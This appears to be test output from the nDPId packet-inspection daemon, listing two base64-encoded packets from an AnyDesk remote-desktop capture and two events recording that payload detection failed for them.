+07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1156,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":758228,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfFpAAIAGAADAqAG7wKgBstOUG56PIxm4WcQsblAYIBCExAAAFwMDFXlZ4hNO+msVvJVb4P5vAQkSzzkG5czJuNBgqqKMk+3vOO5I+CKrCiAL70ZQWXgIU8U2gjn3\/91qr\/FUvfbtBjGk\/qT9CdlLp1fY\/0FJajaElvppd14V8AAcKBRuVuGQ28AXnrN2IqCoz6DpsSfJ\/ozTBTGcUdn5kEJqKPm7mfrhMW9OkZRb2Al0G4uyo1x2PlePtKCDxQnudve8LkUAwgoG25sI0uNHrz4ecaWp4JLmUj6qjbcVCSXm15MINHT2nWL5Iob85l\/G3Amedxl2dGhzV158R0kryExmfVrsJBAiNQITVlU\/e1TCTUcqUsKmnweClswxmWidshy\/teyasetIAO+zNaehD5yQgWIbxFh+I2IYUtxvJ8SQbPM65idPXNV3AS3H6Bbp\/SAPpQ2fyQP\/zMX8T0jr8EQNzKz10BmPW0dJEPfTp1wY9hmWbL7ShgHXN1gBg3sHFOS6x1RmLKneX1Ue4c1e+0FNFDTMaU7DxtsTMbCGp\/8L7VrobuhEN8Jjw76FWI8l3jReV85NPgzs2GZGOo4+S6g7oX\/uKzP4c2\/aUkbSsWbUkMdFJY+Mpbz+S8TF3KugeDy7smjphyJ+JSAUdwhRHbufEtyyph9WB6PW87FP70IBT1v+YDjAv7EZIc7mmaGbgRqCCK+DwFEp4aUBKTWTcVRPgPhECbP563Z40IL6pkghAQhIIdGwaoPlh\/omnsqQh9V5u4e2duikIPxya\/US6XNU\/ZTpyHeZUIgZJSYeHLHQtVp7gYav3BhgJeUEsJXuLI3PHvGS66KzlLcZzyrP9H3g1aro+gU8YdVZdCmsyVbDzeRpvOhlOB5KZC21Cq4B38MHkGRAhTor\/kA80Bq2TOdZFhHnLe17zvxdPIyAJUDmkCzd8Bh9dOzLV91sFosKfIaC4DhQsNH1\/i3JwXNpzgZwYcM4d0KoKI0OQflqmCMQImx1bOGiX9HbO9UpxF0M8nbplKwTXZ9YRpqT4iX6IELbOYhp1ZIhdVkfKcHcpDXD16P46GhP1d0ikqqllfX9D6uG8h3N8nyjjsyYFsRXC+P6fKmb5i1FhhQVgYQFoJCZlTbCQj9nhkGSPwxNBsFnx9Bh4AOV5VQ0HycHfzNvesGTfPhI+s8+jpPzcgm3KPz7kMK\/n5fCZfPLfFAH4FeAZO0r6vZQwhvmbW5rnIdLW755Dhxx7GTxlWQ+dtRew7ZJRA6v2zHLOKYSuyfQvstprbrzcPKkSvP\/vbcExaJdHh6vyAdrSZeb5sFCz8txVFuuF8aFBT1W\/dHIx\/bZtwJuKOy4NS7PkpAQF604aG7X9DoPibdD\/yuYC\/uTXhVmnR\/nOu\/QE058iTNd9O8t9hQqYUVlwxQ3VJfRLrCalm2lSCnyt6FK64Qbc193lg+eEoWfJyuzVuTyzVEhNHkp3OMlzTqTsCaHUVS7eAk5tLTrDfaQlfTZOxA8V8D+gBJxIH3zijkeYxheALVYWFmcA1SRwvMJFjCr75OtuKm7G+AoPgcB4QiKWGSK8K9+LPxOEoHDhBUbgom7KYBgMjtyve0k\/8K43ANETzcF0CSgYCQoRc9ClOqqcZpKV+xUB+LU\/ATDv+MGiQz9W7tzoZXMSwMbArU4gGgn97+HommEOaDXSp1xR5cy9YrEDV7Y\/7TpEftkLxpCzdx9wRHzYhyUutEBNB6N59v60LDlLh9bSWLX7UzQWi0XzCDwR2\/rC+PGoMD2cSGR2RKdTjjfArdc4\/Q7ondv9HATUUI0mZsQxLgYu2IbpI7kyormBM\/RLhL3NmgdQM7hn05V3D6IQLbWdUlqEyw2P40ovaw5GilSQ\/y7il9\/xGfsgKjfBhcCrIPfxwXBA3sIPpB9nDWa2y5vEzgVtQbs0tokFpxMZYaDBfP36IzJ0XfVDMzLGbjMRTqhpHftZ4xLDAcSfJoLacOBum7Dww1l\/MpA1s8ey4km3gLLS8rc9VhmLJhKetdBIHDLhrnVqJomioJg6SeJL\/p6QjvHtpvYoHYFJlM31gSL+mDzLOgoC7sJ6E4nEevHmlw578oAtxsEIESJ3ZPGibzRbJA33+Z85I5yTsAq6c9iktUjHUprjZhOrDvlgVmXSGh6ivgofcgXFJeOarVbcIv8SdvYR909ULsNVt5wESIiAcJSMTRX03H4PA\/yI1Fd423GiyjGkU8xssois5y1ZsrnGyyyA1KGwJGQOENJ5aEN2\/opPrX8vwFzaeylBXCekd10phXAbY4wXeiAd2jUSunqMdBFEh5tn5K5lvNXtr1QP2NSV2PpEaJ8ZW2Bw9uA9Wa0t0px8lKLaecAZoU0IhsQD7sbfSmJdR5bxyWA6ryc8gopIBGF5X5\/51YTsOC7OVwZQ5RmmeeOGCpAFZze9R0g\/CaAWuqxw9Vz3pjdAOYADvOkcdgYuOOt+lnCcjFHntVrdgyNa7MhoR3MwVUZDPj0Pq873W2siH+\/SMgN48Q57BbQj1OBXnOAFwRzj\/SkuolLAPw1nd36++j3prQwQhZmcHAXTuof8uEXcBqVP99qmoG20Lang+cR6g9hgz7VXxL3\/ZNqNaX5AzAEItunX8sqJpvLLKyq7nz4uhc8OXIKnlhy2K+xvsWHd891Ta9c8VuJVmGrjk4alvv7jxRU2yU1Qm4hu64muRKWQMukbcGJNNwE7ybx1sP6evbKJdlflySLL0wMshHDD21ynaGrQw1UpBmuTq\/HxRRo8V4y8pYNL77en5E4izv5Zj+b\/0hexQfmCuNSG06E0rlrx3xoXvM3vZL48gI32kjdJUEJ+F2sE+oqO17yuQS00hEPc3E97lnrhURTABaRG\/0mUPeVx6+aOFyAoyG1Ernc4pBdHIm2SuTZUNR5ZP0xekaLokgkrR6Z79ahffYsxkf8ApSo3ikkXA0sZsV+UvH9Bjaog4\/KJ\/Neh84sW33VNIcWIiXCMYmHiMooeZduhWfvYUlcQjxjTtoAPuY335TZuHCrnIwQbv0zsJazhI3ogoGSpkpskZumoKwGI67vfDBk5fv+ZGzErxw\/8\/ASOYyVLO\/xhNhTByPZB2V60FD6dHC5ePjejJVmVAiDXsQAeH3bYhTSzQnyXrE4yzxrluhWghzxn9UtWUhSzNEI2dZhJ6UOJ3mhSkP02Y8SyTvqkqQDS1XfrzN+2cG8JWXRiDlB4ke8LBua4klPnK05kwGO5fvk53LnQvNFu2oATxPLt8eegcwWWz4sTVm+xcL29QQWnz9Z1NUS7ET9lbmY8aYvBINmIfAATghvh81uuuzvx5UUEl\/zXTAkbuZ6ejbMWBj119TpbiU2aZYKG0vQt3n2FVQVAhyQZBNvEmjxoz2q6EMIKZ8uwoKDcJdgD8dYoOcb\/1UCRiaaf\/qdFQAhVGXKE1pzNRXqqsNBfZUdoTu\/IXAEIexpIHSB4ThnwiSz1Hg93e6St\/gvurF7TWcRwKAsva3RCNIaZz569pJWuWQmNVD2XMdp4R2cw+Q14hUAkSjmI+IrwJsS28GwLBaC+UcBMBBB9eSmAqQ1SHVqw6d0q5s8OnkK3irBUaeNx+9heTZ7beqtvMhX+egMCHYkdThyh0Esc840+JJvdGW6Tr0ohkbqMyLBBWjkVWYOJJxVNxzqkSoMKcMknwXNxYt\/3hXXsP48FfVnQn3jGR1tGtbTa5zzOTs0WJDhln1C4R9njj84m8eCbHaXtLMBXXwLep4J3KNu3accsJ2DBLZJTEVIeqkl1Veqeu6jyICEXJW1WjEeOz5aEKzIypXEPGuCr5sciny0PRQtSHTa2bLvzM7jE7jHZhq+alvyjDiV\/A8lUZZmwMJ5aVf4ztYAVjFr9MQYDgrDKEB1HZViOA9N+cbV38xvvRp6rxIKeuyPoUl+I+jq38xdqaMJN2tlVO7oH4XnubEsrSciV6kZH7IddeA5zLdSkMixbz5Vaxbojy\/9Ud2Pt4vbFMi3akEdBf7NE9axzc2f7wq7g60QcQlvRPsg\/QSiC1jcbziPAaq433vZGUISzzS0c8dpL4thnDAJMK8ol2eafP+BehaPu7N3AWbxB2YEqe20Pwpk5eONvmsquqLedilKvh7rAo2nSj\/izw3ehqEO6aEDmDqhxiKOSoQU8LNweklxQV8qPIdRx9pGjGXlTB1zMDdPoXhC8Kgzp+LzDMonFlElnVuwqGtmKXAFq62s3FkI9wanakWl5c1hYUcFmsZUO1c01Eri3ND1KeCezViQguhwEkvZ\/VXLqc23fnjj3zNJUUUEIbZf8xi7OptdGd4+yFpE2OILZoG\/rKefqdv4lmYNVRFleSeg9KUTLGDqO7kjYyG6UeKWF0GICFcs1dFOQpkP6gSpnxfsWevdho4Bgh+oxVuHX7iNcn6MIr7FcI+RvmDgEbpfmuFA5UhfI3aWUgAehi0WdfS0YTQXaNs4RfQ6vOtdbL+zqgLmhWEOnFSNLBMG7Sf3qsaG+qYuzw6r0cgkjvtBagh+Iyl+enMNiTDnjI4d4UUmTAbLb0uMTJnbmvFzayzhx6+jq7jFqW7I+FR+Woq7k77iFINI3Phroz0zNPefTcm9iz6+1iEmU0V47r8be0VNtgdUYLUIY\/kIg2N+3wPN82+W4YNU309uvpu502dXvZyLgf\/UhfN8kMEFswyVZpV4VO1dEMbzDcadr3cJpBMB9kBlRK2pi7O4W4Zx2A3PkET0Q1sOuF6xJyXbcUk8Y\/ftr+m6+Q2ip92yk2C2iAjwkeurJBrKAHEQHpjkbRv7v62JPJ1PZzU11UdfoRnV0T39coSCTjZxWiGz6G3o1b8biSC5zY2glDl2VQwZij4KBD35a5WSWPxS\/DU8Qz6vTibkKwhXN8jFwE2FVRZuv77CditnJLGksTuuZZIVTmZp5stuGblmBGQpHQYxDMWdGE0ZMVPx3Cd\/l2leOG8AMhfytzJUH5twkkHQKk72k\/P1bPS3Aibxc1gdKkXgeQttcIJyGVxz4qzp0\/MGM+d0gy9n4D3Byd52R1vqQQtwPGz7ygrFjTfkDuqoO7dWP5FD89uBCex6+PzMcphJ4bTZqJWdZmNmJcY\/+F43zzSJu8mZf441ffi8Fz7hafhfN4op5TwiRCdoSEgvsN5bYvpx7WuebjVAxFkj3m97K08ZUy+9ty8vmkfCDaIYCcChq2JO8vfT63qv2+gm1PkJjpCGN83MOOehcPlzUODM4UQTCu\/B8p8s4IGwDsO8pwUqgnZiEEeXjLchRtDYxgoHUSjbG2zIh2F\/HcNN7hCvPtQcqNurNg7na2bTTDsNGLvByTg8S4HOAlIGTW4RO8juO9ae90zYQBVKSrj2pOo7xEuPALOCl7FoLrF8n535czDLk6Q1FAUOtWjjfM3SynPPZmMxy6UdlfSvhxZsHpLCxj1BgWd2vXL2CIZJzfMUS0KaCs4iCskj0E+VKAic4XMlxFEYMs9Y+5\/pl9GNAGnxBgXu3x2jiXk2Jf6dPUVY8vSkM+VdXLNXJM3uRk8Z05QH4XLNS+nyXQ\/CwVELTFk6qyZWGL0awFolAhp3QWSclkxHFaUfRwj+ucO1dq46m\/nckf9kDMGSUS\/vMXKdrRfUBDmM6BjRFAxZtBBom4FkV1H+OBEwmEaLD9ykjXg6zR65s7gPxGRJgvRwWTy4B9jJlc4XYoHbigsExAIqGRs+rQaXTtEq2mke4+OlE1mf6epPN5l\/zE+b\/a1hMyVVGo0wYxi51OH8DI\/ScJQC4CzcUa\/li\/DXSaCZ+77dUUwVVm6kvJDTgcjomspXWu2VQgXXpLqQNX8k3eKberuzQOrgCsFS\/vWhGlp2F16JSJ6QSEmK3VJtGkWXZ7gti91Wz\/veVgI1q3SvmpcAF\/ZAW42ltp5b1BO7\/wCz8eHiO5wgabnPuOVSTm0LgDsI+5iQUMYsx9lzTT9JjsjmdFMYOeXXheyS+kxPx7YnStG0RqGmQYU2GR2E7ecUK6oDfpgfyLdQon9tRtBIlqwBYNyc7Z0emNcSdn6bRCLciH9yV3OlqQ0tsF+v7tB5bJGMDf0brf1M4uRjlEcLnv3RgrhY1o2606AGI2umz61+n73ZEivorN6sd\/oFE7HKnODEkjKMkYrfz10IX3ATcSY9LiQZdvTOOjtZNpgDzjkhEPqruRloMwNCqgdm8fjnHi0CdjcUJN48lCaSF5\/0GVS2CupCw9G4W0\/SKr83m+xGQ0ZU3kqViyCWX71QP0S8SPDBtGL\/bNEq2245ijKkEwJIYxhAsONUEoZ9bQmGv\/jIDpKVNIncEaTw5POAL8+j+kOkhi4AYMquoxsQlmFxOoNDtlflJ5chNp89aHg18XXTyyf6olEvxmeic1JLdLEqPSlCRAeB1l9XLVyhlXmM\/oMG5NILgZkw8MxpIqhvm\/pXXTPSUheXqNvr1PIKTEubUieO+zlByExPgF6SlmMU8fBOAmxCGImSxFyMXnzvR+CIswQi9YxTrr3XMXsSY\/oyGguFGkQMZPtj5bLZPmAMYZm9U6Y1UBQ\/6EjbuCklLreJwDGv\/3dJq5UWkASZDoX61XqZIMods5\/PxJAteDlOTEFeqZbUR6xwuRTtccHYF0E34GrMv+kdKYXTaQcPF3gO4ZA2\/0tDMXA50eq6v94opc9RnKWWtygFDo6\/cp+VW179nUf4Bi2LnBFenXa\/Sg9R\/i1BlK70OUvT7u0ED3WtYZLI3kYjK+fHwAwx46CoToOKGmMV5uUds0WgQKAC1iY1wAqlQKf8i06Us5DSVPRd8sE\/FNEsXrALUfYLkzSfb6pAaoKn5wBtOLokp\/IAqkuffXHMfskAQCmXSAnr3yJYVsD5Fq1BZUbnBu2x6W7u\/pjwsnfPpMpC8YkcE8iLxPbD6ove+n6R8tpBmLbm8brM\/XmgyILp98kj9Mpv7Weztn47nWX+LzIuh5Dg1h6PIJ0Xyjemf1GWtHRZI2eSubuklBnVv95XlHcrijqHfR4EPpZlFX+Qyc01Wc6gP2hDU5mMFkzRsLVEO7bJJn3IMMjdbGBiziy9gNs1gJOl6g4+5W5V3vr3VuRwjudgBnBp0a8\/Hr7mkWHxblcUrwpxVO4H4sTYmCnkhfx5o8gR8wVz3nbwGaChAx7qBl46hH+YwcL3KhLd8beEVerX37NWsuKvYrbRPR+I\/KCKS2P7jwIrXEYXt6vB2qKj9Q1E2MyzaLto0jIWNGprlewjr8Ov9+sgGdkf1CAJtY0\/7Zpxbivsi+sxBBMWDm4GnaaJJ8qG5DLq3ZVVnCHaP8Kv\/z\/v1G20i2N59Ly1Gio62BDfEE3OJsTV5LmxTTncA4UnIAa\/qKLBMNWug3Vl4EA3aZv7qGOFsCxkdd2uvYvfLH8\/UtVIcBvP6O4\/swjcC8AyDgYa4iEnbZzv"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1156,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07819{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1161,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":759139,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfF9AAIAGAADAqAG7wKgBstOUG56PIy+3WcQsblAYIBCExAAAFwMDFXlZ4hNO+msVvipChvm9HZdD2HPQvyuSLLy3gQbn+WsbbABAlKLgUtorJ1w5WGg1C5OR1TUluTBRQLbKkd+r8oonYC2\/pmFEMN\/Q26q+f8wypsfNQKUQzWORAeNZFteME03Wleymjw4rfGVmV4fF7F6auOaez68X9q3e9LjB0kifW3OnlKFzq1Bp245\/EGHX7Q7T38EoLe98qeDA4sx2yxEQr4hQA0ADaTGUVViy7KeLya9mFLrievnnAvUmo1ltqk9vgUpcwgxtukDu3wDaK+VKG40R72feApwTZp\/3L9PX0LOIbB\/BXZngS52V04Jjmvy7xG3qYrScTsqvjHF4+BnMcoGLpo1gVjJP1g6CzeR8X\/NgSSPiMQhtx30pfnoALrV4YjSkglQbY9OmKLHu1M8rAKQhbRXzX69UsqzEWiZCk0jKfz0wBujZiMT5\/gKuOapZuz0gWTqtz5ahpSHTlm73ybmTaYxoh7OGaQNAuKw1TmCQr3AxSUxOlYT7G5IrQBTd5v+d76dwrR0D0IQKFQISNseV9NoxazOIjX9XL+oah2+LkfbnZByfbOKK\/7m+H1FfbJLl+TalneVSop+bx6UISlAboZPnHQUsomaMc8vsKy6KCzVKXcE\/balQp3TurZoaDM4RABc2Q3bdbQnNlo4bGb1+f\/iFiP2Vie+aU3dUpmujGkk5dd\/38fs2xJUsSUfApC3dxMgy3r18124AjZWMjkDlNQ1QxFH5MECI7d0JcNLcYDDQuC1Qqsr02NPxXhqcBgHz4GwK20cVd2Ajm7tHWtYRbmPisNcAXSvwWVat6q+ahgkeAh2r0cmN4JDD4cjhhMqlbG1PSaCOs0zsXkp6eQwQ5EF1opZFcfhuMiuacx6K+Pe3wMgcv9DobGCZis26sRYPIe491DDumiuZNB2smWQx2Dbtc5kjZxvRqK57BLegn15GIPCayxvzqk9+p5\/wb4OuyS7rrOZ\/jGGfmL+AVUeTX7nUCqabf+3jCI276Q24KnhHdhcjfWJ1sMXEILFxFGvQeEzifyfv1jb\/c8LJyzvsr1G+cr+e2S2wrVC3Et7KNfM5Ef7ozWNF\/pCS103lbhEJmHAwBdGddhpunZ4Adu6bhoghuddvYb49ptykIe79gnUDzGwObilSEksqwer6G5oAY0tv6SFnP84s57VT0GTNPLq6ZCKSQP2DNKv0noSkJiYCaY1YH6iF7tgNs7XH\/BESZplFI4gH9r3Ak+jR\/FL7sPN\/dL2+aNB2AdKwdykzI2ZMtVH3OpDgSDJdi4\/tuaCFPuDJilFa8YhC2zh+xx0LMiJ4Jv91fRslir+ifniq\/5Kq9pkukZadn70lAFJmMteHbnnFGGu21YKfuKD0e9b4CuVPiOYtyV3R4fgzHN8NghHEgvf\/NWBklwrRweGhcdk7to0VnWtKtgRXM3YM2\/SHojZS\/9RAsfHaeXGj46sMRpwHiv6uuBkOWzT8fKMfm0mIZcEzrITaHdyY33ZpSCB38E73HlaHanMvei414QzpqIprrqvYKzPWNbt00HxPrK2b9CAuq7xAn1Mll21bSGBaTt7smtdo+LZI9S9lcgPeUfgDylOxN4tjb6O2HRx6VmAtW9RPzl5FSglkFQtQn5SwWmRJAguhEs3OiqRWLNZmz371EixALc0m\/M1JqQF81FYuFSMD6RUQ1nUL3unBib\/4OENBnrq+bmqTfr3R\/FWZNmys7PgwwTuG1GNf+8KeVhtF0Tc4qpYQM1fHaDTQI279jNmfVs0FCYd6gDLmr\/lbGFnTy8dyP3nVsZM8HvEabRa8MGPjtbQibv2JX+pXQ3SQvjXix37vjV+Q+hYXqHU3SyNzXY1t+lZtQu0QRRRhGIifQ5WJdUXcCOooC8pg+Rp0vXSLNNZpD4PvviLVq8GWAe5mGc98m18yTRqle3fNXwbZWaYa0jGwIu6aouE5ML+f0VTV6eObyfbR71TgsVLwEsqeEZhuRElM6HZPfyzaOl1pBmazzfSDI9iKEv8NlS8IuPWE6yb+puHBasvt\/zGCXHq28IJ0\/rqRZng4wJfCFUPagx9LhtQbgBjbBRy31v4a2oqV6JlJbn\/PTmvwvtixcIlmdtI\/bzJxkyGB3imvakERFljaHEUJXZcXxdP2boqdWxSTz5sWeTkqSeQ7u6a2OFIyIbw01WCRrvC6FKu7gFqyKLacaiQJTdXr92cRHRw5oUA9SgPH2jIsdxbZh2FJSZe73kdmoPPkjkL85T6x2FeaV35NirBQ1mUF7HGJbLM7vXewKQHCoT0sII5Igs3ubTnyk6lh\/yORBOFsCgV+\/evt1vpWDe0BtvNLK1pjLi5ydRBa9sXJaluI78qkqgv1h44lAWG\/AMW+Bov3Wc5PwMB\/ruJ7zn3v\/yi4rohXKR1N7scOMyTzjhBGuHzLeNmshFXjWGyXM5HkOYKGMnNNteETXE+6Tl1nLQiKHnEfCnZuqdPNWkO1F8wTy\/DtcTiVj8v\/wWDhCQfYOCnuyQ2W\/1j3h1hKE5\/VzgOGDglca+oKl3gNFIpCvauxkOyD4o8Fj4oMN33M\/NkoTrrMrBqW5m6gIG8g0LJ0f5KTgJIgQVQeuDTk9\/Em1qpNg0b74MOkwvCRqIdaBX7b0+DBRy3FNzhQxn5\/h8o3vHvnJ\/ElmZSWGftgz\/SzEptaPEGVDJqJFZcLAd0kAM3AfLmwqyIraoBBid48v7tLLT+K7t6vo6oljRumCBuLUYv8apqz1aU72OkM++D4Tg7HosdvpFAwL1FqCCAS6WCtb5WbnfM2XTb8mVkG+zB8oH5oK0iBefZkjqJgk7y1FwFHnCvFNe4S6eQNTIgm3hLPxyR9fEzUuJ+tWT652Hs2rHO42MU32VhsF9UjiqimsKKxuQiEgfhLV7VICy3SY2IVvoY8BXjz2LGJ5OHvHdjSjnXocSJVkPFX+C7GSaZBlMuZ9LI4dD4S0UHqdVMTaVpCz2hz3heAvrC2hFlvSgqueTh1X0RxLdJ+gJuhsdyU+ZOj92Sy1S5YXJa9jh7AcfB6wV+wjb7LBCYdX1nPV0mJSVMuCOQVoUp7zpZekjH8M5nPZW2WT6N9jEByZZ+EY2U1OO4L6gQg2CdjXsD3lwpRUpZMgXNsn7nrKSJ3X41lhtjmsQKA\/fve9Rr+WfZWB4LuAnok3Xg27\/fPNNO\/Zpp1UXafWXSwmyzssBe21fMd5U8oyjAbz4enbMCYueannhb2+3sJySp9HJwLjboTTITz4Dd5lgFxmTipY4XcpRalKIdpKsJPEEUP5k73V8kxZerb30RvOVF\/+11GsYoqtsb8OqlLMtSeKiO\/4tx21hKV0PntAvMIJSjNwZ\/81mzU1K\/adBHO+TXw8DniY7t9kWOLoCSJtDIUc322oLnxnpNNQoRcxfGdHAi0KMytFSm3kTRhAuvs5LPUgYBbKZ4gog2eqGoXh9GudHBe+bq22b87qUrLNI2zdIeKlpR4nO9OnDSnh\/MiJMZCWy\/\/R0cU23H\/7gwmp7McIwmwRxWltu7Agk7ePV5e2vgtUk8P475M7UlrEcSBBYIdURom2DMsxndl6OjL5Oq5u6XxrfgCqOCggjbTxpCmgLoaX9ytjlaS5At+vFO2S2eIFZtU+t3Up\/siRiZfiqL0t9Xf6TZBYKGvy6X3B71jDPEBa\/CvElS3RYArRdQI3Hb1M4cu+telvu\/6dD92Lv\/nc3Bo23D5F+R1NZMGkK3CJnk2BNa860U7YgxY9HREPN6O1FxU6BpeFsvZvOt1xWoikJslEoZtbOGfE9+5HRuE3CkqhC4wVUarReueDmFaPfX2mKnBoBTViYzpUJyerkR4+QCQjsDpEUNbdNVUan3TXiv\/vqjbaFKO0tJlvq6xnw4uymP5IMrax7XOEVCeE3IGoXM5+eV5JJe3o9DSimjC1F\/A7ELJg97OrKUNd57d4vA9MZI397jsFgygkY2oakCfSZZcGxAfMDHSVZUFplRFV2r9c6OK2kFfWY9z2gXtMR\/1G+qW7tXoroh57qfzRW69sL2dJLhXo6bTn2QnjMh0g6+iwsy8kCr021CxdHVRr2Nsd+F87rlT6kfi07HyU4SqGplTYIchAlnJkOG4udrxmbmiyHom7w3yGRFCe2ZnuiZIa9YkwqsWcRf0SSrLI+rEhg8PGwzzMiXK8qeCbXDwlUNUEYTUf3DXhhBqkINYccaknbbgUbBcv4pRTWPvB4ZAxXfNID04V\/uFG0bsVCys71OFUqG1JE8x4iKTBXg+fqKFVhsJiaKNcRtDAS4C\/iQvSFtzNKDt3MlpILdTQaGuf3NpXJLSUVD42EOBICYbR+A4rnOZk+qTACVShOq4MSUNYDVUnelc8pcVyuIWf6XLfRL5sbGAHlQSFgoKGZd9mCbrxiEIwTEf38Mo2TdT7Q78hh70aFgBt1TNsVg6tpRZQfMoZl0aoHYVWVE+W2dlHplq0H5cqs4Gpdv\/9RpC8Cc3BOPSvCdD0X9OrHwLZwb+LTY4qJiHUXNSV8cuMFkqK52ZAVHLdZyZyPbiLjuaEfVFlvCFMbNt2r2cNeYnCYOkC556fDW6yQughnGl3i8CAJ1MZLJxOk1lLsDIUVfDwjE5U\/Xg3jhFaqOzD20KCd8QDQFv2lvJlTfETqiY7KGQsoK3pBmTzv0wKNM\/kURzZ0fUQy26w9j67Wex2HkSbv7G\/WfVCNH++Unplsf7Ey9LAZx\/kxA43ytZYMOW79vxA5JOirjYOPxqecJ9KA2o9nRKQ41gcPAQ3k2\/IqUHtMKUcZgBgP3kHaybXm1sFP9LVtSLgx4FSO5TkTvxVOlgRC6bk79PmrQwQOjbT9HemQfZtPBtJZCdernB4c6jtBUIMOiNXPElKdqTjaGnVRu+iXnImNninsJyIxbbT1gjvuhK3NnyB7lxGs7Ot6TmusD8jSyR9j1I3rnlI9X4t7xrTTePl+8t3oOU91QTzw+3NIFcFkEMhPI45bb0WyxB4iPQC8ohJC9SgoklrLhUI1B\/IKBaDOMtuZdrY4AjcXieHeQcl9jZFGZGplPv5hQZX49vjQACfh9jAFDrBvhHCzTBW1ylWbQcZO8Wf+cmlLN37zNnLfGLx8Qr6xiEB\/Xb+3X88i9ERsKJOORYNnPhN3mxAFfkta12SBVFKmjF1Y842ouFGufHMgXYnJ3BVPIEELZZ811SQsC31ZH9LsZOWi\/345xF0F6Iqz9mBC7TJF\/ab\/kMRw3Mhd8G3nY7pfOMY5mxuNdWCZEhyogHwemJCc6f77Hnbx5i83gLiI8sltW3V5TMTUW1fjcboYehcEUDklMqLDSZkmBiUToryV\/G1PMPqudZRwNE7sq6qN6qedY1nydBeSAzPHRT15HcqiJnpb54\/WImgFdbOceS5+cx5U5tib1TPBkZEKY\/3Q\/dQJiOFet4TMKtJCA1Nvg\/8r3FUmiLyyIyrkrmpnZm\/dXczzo9FLa8Xt\/UrzJ0oBdsixzsps1ZY+gFJElKaDc1j3MKiliJT2Ejkejf+SLxkIbmbni6id0x+erj5ZthybXtY91yiNhfDz+oZN2uyl0H50UV2UgM83Ma2G7m4dlVVOM6p1qZnph1ARU9S2jI9HG6DULR4c2AgkcV6\/4mU9HlmZfuneI4TY58FZwulIJhvCH358R+qDLHOwjNul3y4S9DT0Dp+uyuQOZ2+xWnqLVyIpyPav+piwFmYOxV0+HeLdRJ+VakJJ6ypVNDGPd5M0rE\/cm9klZdJHuqPV04YT3vkYrW+W43hvjnisIDj0ioU5+6+JCw3Jjt6eXpNqlsVIR9YMz\/ahqHB1PbZQfE7MMlE3f3T6Xfny\/G7JFCFedZGYx0ZPer7zBxBvo2tPuIakgUXdnWwVqeBrMsvl43WCoXw\/UkJsPhgOUsm2QMpbhiot+b4dlCuJBuvbu69vSAtZbJuIJSTpwZfdbX7DotwC7cCjJN3opXrtTDvoy1w9Z0F6DE3RK3UjK6GZNI7P3C0AAhptCzRdhLe\/IPhzKbwUcRIrimNPtoO8qeQhO1Murh2PygUXKIUHJff\/4FsvvakALJDiHp\/J56DoaMuDrEw62XnEvz+hC98y5q4J6l8hlgI8yBGAmTIfP6G6fFT8+AzEHQRuZ4kkgyAIoj5skz17z9SRFYxuvSNx1EFc98lNxVX4ndwZwHcIxz+ujdwtd1HSnOXGK8zGe2zJYRZo+aBNHfBdRQChHsea9Clts7uW9Gcm\/j2dVfGGSsPW3VO+v8yJxf7ID2don3I5zefEX3ahbdJFGTl7dM+e5Rb0aXvNU+aQAhkbX\/NjUkeXyaEd7fK\/V7S\/EY1oVWJ77oIgUIhMADTrRpmOHBPoq1565O5ymsK3h9m2UDE1x3uAlsGMXmIHTtQnUKLmQqdWRcmu0v7fveZ7pNESQ9vnX9hubIOn84wkZ\/xFwSYjNdDQIQsNGUaTTD\/AG4TG+ZVApoolHL8\/m3v5FyMb1X4SBwVAxLHk\/A6JTD9j5pHOuOal5elc9M7zJDcuTg72xklC3LpOnub7jjA4wSN7tyJOUgppYPq+5OqiJC9+kuI9tNtEaaNBp6daP5WStNsbD4JKVyq8xMZAuVRdO+HchCDvwFEtdzh3so34boxyQMzoD2wzd\/r0i4d4huSk2HIPiBG8NjU07lFkFcyW4J\/pbX0BDkE\/n4XAn6p+QVhoSzHzwH3G078QI\/1lCZp5y2fl+kjjChTnN8gMcvAooEwrkE4EA8OjfXouvblBJkaxnPVOqlNXtlICAObPdCOqhx9UKHPHbU7ZYQlU\/HmGAOpzXWuGKvNYUro3NyZ9vnZnsUS2cc1Rgq7hPsXdMEWkTQFnGJovA1gPMxNzRciFxxfPxa+QHzx8aVn9XEfT5o4HB7rlUPmmPBsfJqFSIvAcnApPDVoCYKKa7UVW+8j62uBfJoNISG67Y1xGtSYUobCZQjB1IUKmfUcif9wYgxNTv2vmvvUJAArELfUTKip46tUwqCyTX3XJGHYU2MiiqHBtRhuZCnZZ3y6blarOmoyRaLED2lha1YyQolp2gHYhE7F9qIjpQUR1djdEDxu6SjLk84eja86MjrS0EUutUB+wnAtdyZcr5WBMOTKatfZmti1AX1jD4k7yu7qt8Ea6PlzO++Ib2ZgtlS1vj4yMxixbTx3viYqh7Cqh4Xwfem\/xL80ZZwhX0COWWQVf0HcEM8uNeHN+lK7QIqwlv697KKj+Ip2GyDtK\/Uc7xEJm050q5mpCwrGXK577jf7eG1sy0pZ50mp0XiYHWrJKckKQ1xpxMnM4EIx2oQrS8YZSTIuadFsynLMtD9p66R3VVcWAsfhnhtNhUDblMZfEzf8z33kdVJ+xZsCfj0+HjESGaQx40A"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1161,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} 